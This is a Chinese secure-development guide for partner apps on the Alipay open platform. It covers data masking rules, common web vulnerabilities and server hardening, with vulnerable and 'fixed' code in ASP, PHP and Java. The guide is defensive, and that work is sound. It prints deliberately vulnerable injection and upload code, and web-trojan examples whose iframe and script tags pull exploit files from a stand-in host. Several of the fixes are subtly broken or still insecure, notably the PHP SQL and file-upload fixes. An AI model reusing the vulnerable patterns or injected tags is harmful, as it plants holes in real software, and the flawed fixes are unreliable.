合作伙伴研发-安全开发规范

版本 1.0

修订历史

版本号	作者	内容提要	核准人	修改日期

目录

1. 概述

本文档定义第三方应用在安全开发规范方面的要求和安全修复建议。

2. 适用范围

本文档适用于所有接入支付宝开放平台的第三方应用、服务窗。

3. 安全开发规范

3.1. 信息安全

3.1.1. 网络传输

通过网络传输用户个人信息、业务数据时必须加密，例如：使用 https、加密技术进行传输。

3.1.2. 前端展示

在 web 前端内容中出现用户个人敏感信息时，应按照规范进行部分隐藏。具体的前端内容包括但不限于：

1. 前端 Web 页面（含 h5 页面）的所有元素。
2. Javascript 脚本
3. URL 地址
4. cookie

缺省信息隐藏规则：

- **显示前 1/3 和后 1/3，其他用*号代替（短信使用一个*）。**
- **证件号码前台展示规范：前 1 位和后 1 位，其它用*号代替。**
- **银行卡号展示规范：显示前 6 位和后 4 位，其它用*代替。**
- **手机号：显示前 3 和后 4 位，其它用*代替。**

以下是针对特定类型的信息隐藏规则，如在下表中不存在，则使用缺省的信息隐藏规则：

敏感信息类型	**信息范围**	**展示规范**
银行卡信息	银行卡卡号	显示前 6 位 +*（实际位数）+ 后 4 位。 如： 622575******1496
个人信息	1）身份证号、军官证号、护照号	**身份证号：** 显示前 1 位 ＋ *（实际位数）＋ 后 1 位，如：5**********9

		军官证号，护照号： 使用缺省信息隐藏规则
	2）姓名	如果要隐藏，隐藏第一个字
	3）手机号	如需要部分隐藏，区号不算，隐藏中间四位 **网站和手机客户端** 大陆：显示前 3 位 + **** + 后 4 位。如：137****9050 香港、澳门：显示前 2 位＋****+后 2 位。如：90****85 台湾：显示前 2 位＋****+后 3 位。如：90****856 其他海外地区：使用缺省隐藏规则 **短信** 大陆：显示前 3 位 +*+ 后 4 位。如：137*9050 香港、澳门：显示前 2 位＋*+后 2 位。如：90*85 台湾：显示前 2 位＋*+后 3 位。如：90*856 其他海外地区：使用缺省隐藏规则
	4）固定电话号码	如需要部分隐藏，推荐的规范：显示区号和后 4 位
	5）邮箱	如需要部分隐藏， **网站、手机客户端** @前面的字符显示 3 位，3 位后显示 3 个 *，@后面完整显示如：con***@163.com 如果少于三位，则全部显示，@前加***，例如 tt@163.com 则显示为 tt***@163.com **短信** 短信必须控制在 60 字内，所以，需要隐藏更多字 1） @前面的字符显示规则： 如果@前面的字符数小于等于 3 位，则全部显示字符，然后再加上* 如果@前面的字符数多于 3 位，则显

		示前三位字符，然后再加上* 2） @后面的字符显示规则： 如果@后面第 1 个字符到第 1 个".″之前的字符数小于等于 7 位，则全部显示，并以.*结尾 如果@后面第 1 个字符到第 1 个".″之前的字符数大于 7 位，则显示前 7 位字符，并以*结尾 3） 示例： 如果账户为 tjyihui@126.com 则显示：tjy*@126.* 如果账户为 mm@hotmail.com 则显示： mm*@hotmail.* 如果账户为 iceziling@netvigator.com 则显示：ice*@netviga*

3.1.3. 数据完整性

应使用数字签名或消息认证技术来实现对客户端与服务器端通信内容的完整性，重要的业务参数必须参与签名或认证。

3.2. WEB 安全漏洞

Web 漏洞指 web 应用程序上的漏洞，可能是由于 web 应用程序编写者在编写代码时考虑不周全等原因而造成的漏洞，常见的 Web 漏洞有:跨站脚本（Cross Site Script, 简称 XSS）、SQL 注入（SQL Injection）、远程文件包含、缓冲区溢出、目录遍历、命令注入（Command Injection）等。

3.2.1. SQL 注入漏洞

漏洞描述

SQL 注入攻击（SQL Injection），简称注入攻击、SQL 注入，被广泛用于非法获取网站控制权，是发生在应用程序的数据库层上的安全漏洞。 在设计不良的程序当中，忽略了对输入字符串中夹带的 SQL 指令的检查，那么这些夹带进去的指令就会被数据库误认为是正常的 SQL 指令而运行，从而使数据库受到攻击，可能导致数据被窃取、更改、删除，以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。

漏洞危害

使 1) 机密数据被窃取；2) 核心业务数据被篡改；3) 网页被篡改；4) 数据库所在服务器被攻击变为傀儡主机，甚至企业网被入侵。

潜在危险等级：高

解决方案

1) 所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。

2) 对进入数据库的特殊字符（'"\<>&*;等）进行转义处理，或编码转换。

3) 确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为 int 型。

4) 数据长度应该严格规定，能在一定程度上防止比较长的 SQL 注入语句无法正确执行。

5) 网站每个数据层的编码统一，建议全部使用 UTF-8 编码，上下层编码不一致有可能导致一些过滤模型被绕过。

6) 严格限制网站所用数据库账号的权限，给此用户仅提供能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。

7) 避免网站显示 SQL 错误信息，比如类型错误、字段不匹配等，防止攻击者利用这些错误信息进行一些判断。

代码示例

【ASP 漏洞代码示例】

```
<%
Dim oComm, oRs
Set id=Request.QueryString("d")
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open "Provider=MSDAORA;Password=sth;Persist Security Info=True;User
ID=whats;Data Source=mescp"
Set oComm = CreateObject("ADODB.Command")
oComm.ActiveConnection = oConn
Comm.CommandType = 1
oComm.CommandText = "select * from all_objects where rownum ="& id
Set oRs = oComm.Execute
%>
```

【ASP 修复示例】

```
<%
Dim oComm, oRs
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open "Provider=MSDAORA;Password=sth;Persist Security Info=True;User
ID=whats;Data Source=mescp"
Set oComm = CreateObject("ADODB.Command")
oComm.ActiveConnection = oConn
Comm.CommandType = 1
oComm.CommandText = "select * from all_objects where rownum = ? "
oComm.Parameters.Append oComm.CreateParameter("v1",3,1,4,100)
Set oRs = oComm.Execute
%>
```

【PHP 漏洞代码示例】

```
<?php
$id=$_GET['id'];
$conn = mysql_connect("localhost","root","") or die ("wrong!");
$sel=mysql_select_db("mydb",$conn);
$sql="select * from user where id = ".id
$que=mysql_query($sql,$conn);
?>
```

【PHP 修复示例】

```
<?php
$id=$_GET['id'];
$conn = mysql_connect("localhost","root","") or die ("wrong!");
$sel=mysql_select_db("mydb",$conn);
$sql="select * from user where id = :id"
$stmt = $conn->prepare($sql);
$stmt->execute(array(':id'=>$id));
?>
```

【JAVA 漏洞代码示例】

```
JdbcConnection conn = new JdbcConnection();
final String sql = "select * from product where pname like '%"
        + request.getParameter("pname") + "%'";
conn.execqueryResultSet(sql);
```

【JAVA 修复示例】

```
JdbcConnection conn = new JdbcConnection();
PreparedStatement pstmt = conn.prepareStatement("select * from product where
pname like ?";
pstmt.setString(1, "%" + request.getParameter("pname")+"%");
pstmt.execute();
```

3.2.2. 跨站脚本（XSS）漏洞

漏洞描述

跨站脚本攻击（Cross-site scripting，通常简称为 XSS）发生在客户端，可被用于进行窃取隐私、钓鱼欺骗、偷取密码、传播恶意代码等攻击行为。 恶意的攻击者将对客户端有危害的代码放到服务器上作为一个网页内容， 使得其他网站用户在观看此网页时，这些代码注入到了用户的浏览器中执行，使用户受到攻击。一般而言，利用跨站脚本攻击，攻击者可窃会话 COOKIE 从而窃取网站用户的隐私。

漏洞危害

1) 钓鱼欺骗：最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼 JavaScript 以监控目标网站的表单输入，甚至发起基于 DHTML 更高级的钓鱼攻击方式。

2) 网站挂马：跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站

上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。

3) 身份盗用：Cookie 是用户对于特定网站的身份验证标志，XSS 可以盗取到用户的 Cookie，从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取，将会对网站引发巨大的危害。

4) 盗取网站用户信息：当能够窃取到用户 Cookie 从而获取到用户身份使，攻击者可以获取到用户对网站的操作权限，从而查看用户隐私信息。

5) 垃圾信息发送：比如在 SNS 社区中，利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

6) 劫持用户 Web 行为：一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为，监视用户的浏览历史，发送与接收的数据等等。

7) XSS 蠕虫：XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。

潜在危险等级：高

解决方案

对参数做 html 转义过滤（要过滤的字符包括：单引号、双引号、大于号、小于号，& 符号），防止脚本执行。在变量输出时进行 HTML ENCODE 处理。

PHP 应用，可以使用 htmlspecialchars 对用户参数进行编码

ASP.net 应用，可以使用 HTMLEnCode 或 AntiXSS

JAVA 应用，可以使用 org.apache.commons.lang.StringEscapeUtils 提供的 Escape 函数

代码示例

【ASP 问题示例代码】

```
<%
Dim param
Set param=Request.QueryString("dd")
response.write param
%>
```

【ASP 修复示例】

```
<%
Dim param
Set param=Request.QueryString("dd")
response.write Server.HTMLEnCode(param)
%>
```

【PHP 问题代码示例】

```
<?php
$aa=$_GET['dd'];
echo $aa."123";
?>
```

【PHP 修复示例】

```
<?php
$aa=$_GET['dd'];
echo htmlspecialchars($aa)."123";
?>
```

3.2.3. HTTP header 注入漏洞

漏洞描述

Web 程序代码中把用户提交的参数未做过滤就直接输出到 HTTP 响应头中，导致攻击者可以利用该漏洞来注入到 HTTP 响应头中，造成 xss 攻击、欺骗用户下载恶意可执行文件等攻击。

潜在危险等级：高

修复建议

1)对参数做合法性校验以及长度限制,谨慎的根据用户所传入参数做 http 响应的 header 设置;

2） 在设置 HTTP 响应头时，过滤回车换行（%0d%0a、%0D%0A)字符;

3.2.4. 目录遍历漏洞

漏洞描述

目录遍历(或路径遍历)(directory traversal/path traversal)是由于 Web 服务器或 Web 应用程序对用户输入文件名称的安全性验证不足而导致的一种安全漏洞，使得攻击者通过 HTTP 请求和利用一些特殊字符就可以绕过服务器的安全限制，访问任意受限的文件(可以是 Web 根目录以外的文件)，甚至执行系统命令。

潜在危险等级：高

解决方案

严格检查文件路径参数，限制在指定的范围。严格限制文件路径参数，不允许用户控制文件路径相关的参数，限定文件路径范围。

3.2.5. 文件包含漏洞

漏洞描述

文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行，进而获取到服务器权限，造成网站被恶意删除，用户和交易数据被篡改等一系列恶性后果。

漏洞危害

攻击者可以利用该漏洞，在服务器上执行任意命令。

潜在危险等级：高

解决方案：

PHP:配置 php.ini 关闭远程文件包含功能(allow_url_include = Off)

代码示例

【PHP 问题代码示例】

```
<?php
$path=$_GET['arg'];
include $path.'/filename.php';
```

```
?>
```
【PHP 修复示例】
```
<?php
$path='/var/www/html/common.inc';
include $path.'/filename.php';
?>
```

3.2.6. 任意文件下载漏洞

漏洞描述

Web 应用程序在处理文件下载时，接受用户指定的路径和文件名进行下载，攻击者利用此漏洞来下载服务器的其它文件甚至任意文件（源代码、数据库甚至 passwd 等）。

潜在危险等级：高

修复建议

1. 限制可下载文件所在的目录为预期范围；
2. 通过指定文件编号的方式来定位待下载文件。

3.2.7. 文件上传漏洞

漏洞描述

文件上传的 Web 程序未对文件类型和格式做合法性校验，导致攻击者可以上传 Webshell 或者非期望格式的文件

潜在危险等级：高

修复建议

1）对上传文件的大小和类型进行校验，定义上传文件类型白名单；

2）保存上传文件的目录不提供直接访问；

代码示例

【PHP 问题代码示例】
```
if ($_FILES["file"]["error"] > 0)
  echo "Error: " . $_FILES["file"]["error"] . "<br />";
else
  move_uploaded_file($_FILES["file"]["tmp_name"],
    "upload/" . $_FILES["file"]["name"]);
```
【PHP 修复示例】
```
<if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    echo "Error: " . $_FILES["file"]["error"] . "<br />";
  else
```

```
    move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
  }
else
  echo "Invalid file";
```

3.2.8. Cookie 安全性

漏洞描述

cookie 的一些属性设置不当，导致黑客利用网站存在的 XSS 漏洞来窃取 cookie

修复建议

在设置 cookie 时，1） domain 设置为网站本域名；2）HTTPOnly 属性设为 true；3） 如果网站使用 HTTPS 协议，设置 secure 属性为 true。

3.2.9. Trojan(挂马)

漏洞描述

挂马是恶意攻击者通过各种手段篡改页面，种植恶意代码，最终导致网站用户机器被中木马进而引起用户各种资损并间接导致网站资损的恶性攻击行为。

漏洞危害

应用程序已经被攻击者破坏，同时会危及来访的用户电脑安全。

解决方案

首先，检查被挂马页面，去除其中被添加的挂马代码；然后，找出系统存在的安全漏洞并修复，删除恶意代码。

示例一、利用 iframe 挂马

```
<html>
<body>
……
<iframe src=http://www.trojan.com/ms04067.html    width=0 height=0 />
</body>
</html>
```

修复方法：

删除其中的<iframe src=http://www.trojan.com/ms04067.html   width=0 height=0 />

(注：特征为 iframe 长宽都为 0 或者很低)

示例二、利用 scirpt 挂马：

```
<html>
<body>
……
<script src=http://www.trojan.com/ms04067.js    />
</body>
</html>
```

修复方法：

删除其中的<script src=http://www.trojan.com/ms04067.js />

（注：特征为 script 为外站 script 或者为非网站所有者所知的 script）

3.2.10.WEB Server 安全配置

本节描述在 WEB 应用程序服务器端，对应用服务器上运行的程序（包括 apache、nginx、PHP 和数据库等）应用注意的安全配置规范。

- **apache 目录浏览漏洞**

漏洞描述

Apache 默认配置时允许目录浏览。如果目录下没有索引文件（index.htm,index.php 等），访问对应目录时则会出现目录浏览，导致文件信息泄漏。

修复建议

修改 apache 配置文件中的 Directory 配置项，将“Indexes”删除或者修改为“-Index”，如下图所示：

```
# The Options directive is both complicated and important.  Please see
# http://httpd.apache.org/docs/2.2/mod/core.html#options
# for more information.
#
Options -Indexes FollowSymLinks Includes ExecCGI
```

- **PHP 安全配置**

检查 php.ini 中与安全有关的配置项，并按下述建议进行配置。

1) safe_mode

启用安全模式 safe_mode = On （默认 Off）

2) safe_mode_gid

默认情况下，安全模式在打开文件时会做 UID 比较检查。如果想将其放宽到 GID 比较，则打开 safe_mode_gid，建议：safe_mode_gid = Off (默认 Off)

3) safe_mode_include_dir

当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。

默认未包含任何目录。不建议对本项进行设置，如果确有需要使用或者执行 shell 的时候，在此设置目录，并把对应目录权限设置为不可写不可读只可执行

4) safe_mode_exec_dir

如果 PHP 使用了安全模式，system() 和其它执行系统程序的函数将拒绝启动不在本项配置目录中的程序。

5) open_basedir

将 PHP 所能打开的文件限制在指定的目录树，包括文件本身。本配置不受安全模式打开或者关闭的影响。 当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时，该文件的位置将被检查——如果文件在指定的目录树之外时 PHP 将拒绝打开它。所有的符号连接都会被解析，所以不可能通过符号连接来避开此限制。

默认是允许打开所有文件，建议根据实际情况设置。

特殊值 . 指定了存放该脚本的目录将被当做基准目录。

在 Windows 中，用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 Apache 模块时，父目录中的 open_basedir 路径自动被继承。

用 open_basedir 指定的限制实际上是前缀，不是目录名。即："open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls"。

如果要将访问限制在仅为指定的目录，用斜线结束路径名，例如："open_basedir = /dir/incl/"。

6) disable_functions

强烈建议禁用的函数：

exec,passthru,popen,proc_open,shell_exec,system,phpinfo,assert,get_loaded_extensions

推荐禁用的函数：

chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown,readfile,file_put_contents

7) cookie 只允许 http 方式

session.cookie_httponly = 1，使程序（js、applet）无法讲取到 Cookie。

8) https secure 开启

session.cookie_secure = 1，仅适用于 https，如果是 http，不要设置这个选项。

- **Jboss 安全配置**

漏洞描述

Jboss 的管理界面有 admin-console、web-console、jmx-console、jbossws 和 root-console，在缺省配置中，它们分别是使用默认密码或者不使用安全验证即可进入。

修复建议

为 admin-console 设置安全的密码；为 web-console、jmx-console 设置安全的密码或者将其删除；删除 root-console。

具体方法如下：

1）修改密码

修改 admin-console 密码：修改 %JBOSS_HOME%/server/xxx/conf/props 里 jmx-console-users.properties 和 jmx-console-roles.properties。

修改 jmx-console 密码：修改 %JBOSS_HOME%/server/deploy/jmx-console.war/WEB-INF/web.xml，去掉对 <security_constraint> 这段的注释；jboss-web.xml，去掉对 <security-domain> 的注释；%JBOSS_HOME%/server/default/conf/props 目录下，jmx-console-users.properties 修改 admin=admin，设置用户名=设置密码；jmx-console-role.properties 修改 admin 为上一步设置的用户名。

修改 web-console 密码：%JBOSS_HOME%/server/deploy/management/console-mgr.sar/web-console.war/WEB-INF/下，修改 web.xml，去掉对<security_constraint>这段的注释；修改 jboss-web.xml，取消对 <security-domain>的注释；
在%JBOSS_HOME%/server/deploy/management/console-mgr.sar/web-console.war/class 下，修改 web-console-users.properties，admin=admin，设置用户名=设置密码；
web-console-role.properties 修改 admin 为上一步设置的用户名。

修改 jbossws 密码：在%JBOSS_HOME%/server/all/deploy/jmx-console.war/WEB-INF 下修改 web.xml 和 jboss-web.xml，去掉安全注释；修改 server/xxx/conf/props 里的 jbossws-users.properties 和 jbossws-roles.properties，配置用户名、密码和角色。

2）删除不必要的管理界面

删除 jmx-console：删除%JBOSS_HOME%/deploy/mx-console.war

删除 web-console: 删除 %JBOSS_HOME%/deploy/management/console-mgr.sar/web-console.war

删除 jbossws-context:删除%JBOSS_HOME%/deploy/jbossws.sar/jbossws-context.war

删除 root-console: 删除 %JBOSS_HOME%/deploy/jboss-web.deployer/ROOT.war 和%JBOSS_HOME%/deploy/jboss-web.deployer/context.xml

3.2.11.URL 跳转过滤不严漏洞

漏洞描述

某些页面由于功能需要需要进行页面跳转，如果没有对跳转的目的页面做检查就会导致被利用作为恶意 URL 的访问渠道。

漏洞危害

攻击者可以利用这个漏洞进行跳转钓鱼。

潜在危险等级：中

修复建议

1）在控制页面转向的地方检查目标 URL 是否为可信 URL。

2）跳转页面参数中添加 redirect_url 参数的签名，防止被篡改。

3.2.12.CSRF 漏洞

漏洞描述

攻击者通过一定技巧设计网页，强迫受害者的浏览器向一个易受攻击的 Web 应用程序发送请求,最后达到攻击者所需要的操作行为。

潜在危险等级：中

修复建议

1) 在表单中添加隐藏、随机值的 form token；

2) 关键的提交请求表单使用图片验证码。

3.2.13.源代码泄漏

漏洞描述

临时文件漏洞源代码内容、版本管理工具文件泄漏路径等信息

修复建议

部署前删除编辑器生成的备份文件、临时文件及版本管理工具生成的有关文件。

3.2.14.flash 安全配置

漏洞描述

web 程序在引入 flash 时，若 allowScriptAccess 和 allowNetworking 属性配置不当，可能会产生 XSS 漏洞、CSRF 等问题

修复建议

对于不信任的 flash 源，allowScriptAccess 设置为 never， allowNetworking 尽量设置为 none。

3.3. 无线客户端应用开发安全规范

暂无，待补充。

4. 参考资料

建议开发者学习 OWASP TOP 10 和 CWE/SANS TOP 25，其中包含表 2 中所提及安全问题的分析、改进建议和示例代码。

4.1. OWASP TOP 10

OWASP Top 10 是 OWASP（Open Web Application Security Project）评估出的 Web 应用十大关键安全风险，每年更新一次。

OWASP Top 10 (2010)	
A1-Injection 注入漏洞	当不受信任的数据被用于解析器执行查询或命令，恶意攻击者可制造一些特定数据，使得解析器执行实现者所期望的命令或者可能访问未受授权的数据。常见的有 SQL、OS 命令注入漏洞
A2-Cross Site Scripting (XSS) 跨站脚本	如果应用程序将不受信任的数据不经验证或转义，直接发送给浏览器，将可能产生 XSS 漏洞。攻击者可利用 XSS 漏洞，使受害者浏览器执行其设定好的脚本，实现劫持用户会话、将用户重定向到恶意站点等目的
A3-Broken Authentication and Session Management 身份鉴别和会话管理机制缺陷	应用在用户身份鉴别和会话管理机制方面的缺陷可能导致攻击者破解出密码、密钥、会话令牌或利用其它实现的上的漏洞，达到冒用他人身份目的。
A4-Insecure Direct Object References 不安全的直接对象引用	应用开发者通常会将引用关联到内部实现中的对象（如文件、目录或数据库记录），如果没有进行访问控制检查或者其它措施，攻击者可能通过操纵引用值来访问未经授权的数据。
A5-Cross Site Request Forgery (CSRF) 跨站伪造请求	CSRF 攻击可使在已登录状态受害者的浏览器自动发送伪造的 HTTP 请求（包含受害者的会话 cookie 和其它信息）到一个存在 CSRF 漏洞的 web 应用，而 web 应用会认为这是来自受害者的合法请求。

A6-Security Misconfiguration 安全配置错误	与应用、框架、应用服务器、web 服务器、数据库服务器、平台等在安全方面的配置应正确定义和部署。
A7-Insecure Cryptographic Storage 不安全的加密存储	没有使用合适的加密或 HASH 方法保护敏感数据（如信用卡号、身份凭证），导致攻击仍可窃取或修改这些采用弱算法保护的数据，进而窃取他人身份和盗取其它敏感信息。
A8-Failure to Restrict URL Access URL 访问控制不当	应在处理每个 URL 访问请求时实现访问控制检查，确保当前访问用户的权限与其所访问的资源相匹配。
A9-Insufficient Transport Layer Protection 传输层保护措施不充分	未能对敏感的网络传输进行认证、加密和保护其机密性和完全性，或者使用弱算法、使用过期、已失效的证书或者使用方法不正确。
A10-Unvalidated Redirects and Forwards 未经验证的重定向和跳转	在将用户重定向或跳转到其它页面或网站时，如果使用不受信任的数据来决定目标页面，攻击者可将受害者重定向到钓鱼或恶意站点，或者访问未经授权的页面。

4.2. CWE/SANS Top 25 Software Errors

CWE/SANS TOP 25 是由 MITRE 和 SANS 合作，共同发布的网站应用前 25 大的威胁，分为：组件间不安全的交互、资源风险管理不当和防御机制管理不当三个部分。

CWE/SANS TOP 25 - 2011	
组件间不安全的交互	
CWE-89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') SQL 注入
CWE-78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') OS 命令注入
CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') 跨站脚本
CWE-434	Unrestricted Upload of File with Dangerous Type 未限制上传危险的文件类型
CWE-352	Cross-Site Request Forgery (CSRF) 跨站伪造请求
CWE-601	URL Redirection to Untrusted Site ('Open Redirect') URL 跳转到不信任的站点
资源风险管理不当	

CWE-120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') 拷贝缓存区时未检查输入内容大小（缓冲区溢出）
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 目录与路径限制不当，导致脱离限制目录（目录遍历）
CWE-494	Download of Code Without Integrity Check 下载未经完整性检查的程序代码
CWE-829	Inclusion of Functionality from Untrusted Control Sphere 从不信任的控制区域包含或引用函数功能
CWE-676	Use of Potentially Dangerous Function 使用存在潜在危险的函数
CWE-131	Incorrect Calculation of Buffer Size 缓存区大小计算错误
CWE-134	Uncontrolled Format String 未控制的格式化字符串（格式化字符串漏洞）
CWE-190	Integer Overflow or Wraparound 数值过载
防御机制不当	
CWE-306	Missing Authentication for Critical Function 关键功能缺乏身份鉴别机制
CWE-862	Missing Authorization 缺乏访问控制与授权
CWE-798	Use of Hard-coded Credentials 将重要身份凭证内容硬编码于程序中
CWE-311	Missing Encryption of Sensitive Data 对敏感数据未加密
CWE-807	Reliance on Untrusted Inputs in a Security Decision 安全决策依赖不受信任的输入
CWE-250	Execution with Unnecessary Privileges 执行操作时携带不需要的特权
CWE-863	Incorrect Authorization 错误的访问控制与授权
CWE-732	Incorrect Permission Assignment for Critical Resource 对关键资源的访问权限配置错误
CWE-327	Use of a Broken or Risky Cryptographic Algorithm 使用已破解或不安全的密码算法
CWE-307	Improper Restriction of Excessive Authentication Attempts 未对暴力破解尝试作恰当的限制

CWE-759	Use of a One-Way Hash without a Salt 使用单向 HASH 算法时没有加入自定义的 salt